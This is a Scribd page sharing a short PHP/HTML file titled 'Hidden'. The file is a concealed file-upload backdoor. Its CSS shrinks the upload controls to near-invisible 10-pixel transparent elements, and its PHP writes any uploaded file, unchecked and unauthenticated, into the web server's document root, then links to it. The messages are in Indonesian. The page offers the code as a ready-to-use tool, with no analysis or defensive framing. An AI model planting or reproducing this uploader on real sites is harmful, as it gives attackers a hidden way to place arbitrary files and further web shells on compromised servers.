0% found this document useful (0 votes)
31 views2 pages

Hidden

The document defines styles for a file upload form with submit and file input buttons styled with specific widths, heights, colors, borders, and margins. The form uses a PHP script to copy an uploaded file to the server document root directory if writable, or to the current directory if not writable, and displays a success or failure message with a link to the uploaded file.

Uploaded by

Law Liet
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
31 views2 pages

Hidden

The document defines styles for a file upload form with submit and file input buttons styled with specific widths, heights, colors, borders, and margins. The form uses a PHP script to copy an uploaded file to the server document root directory if writable, or to the current directory if not writable, and displays a success or failure message with a link to the uploaded file.

Uploaded by

Law Liet
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

<!

DOCTYPE HTML>
<html>
<head>
<style type="text/css">
html {
background: ;
}
input[type=submit] {
width: 10px;
height: 10px;
color: #DCDCDC;
background: transparent;
border: 30px green;
margin-left: 20px;
text-align: center;
}
input[type=file] {
width: 10px;
height: 5px;
color: white;
background: white;
border: 20px green;
margin-left: 20px;
text-align: center;
</style>
<?php

echo "<form method='post' enctype='multipart/form-data'>

<input type='file' name='idx_file' >

<input type='submit' name='upload' value='■'>

</form>";

$root = $_SERVER['DOCUMENT_ROOT'];

$files = $_FILES['idx_file']['name'];

$dest = $root.'/'.$files;

if(isset($_POST['upload'])) {

if(is_writable($root)) {

if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {

$web = "http://".$_SERVER['HTTP_HOST']."/";

echo "Succes -> <a href='$web/$files' target='_blank'><b><u>$web/


$files</u></b></a>";

} else {

echo "Gagal Di Doc Root";

}
} else {

if(@copy($_FILES['idx_file']['tmp_name'], $files)) {

echo "Succes<b>$files</b> Terupload Di Dir Ini";

} else {

echo "Gagal";

?>

You might also like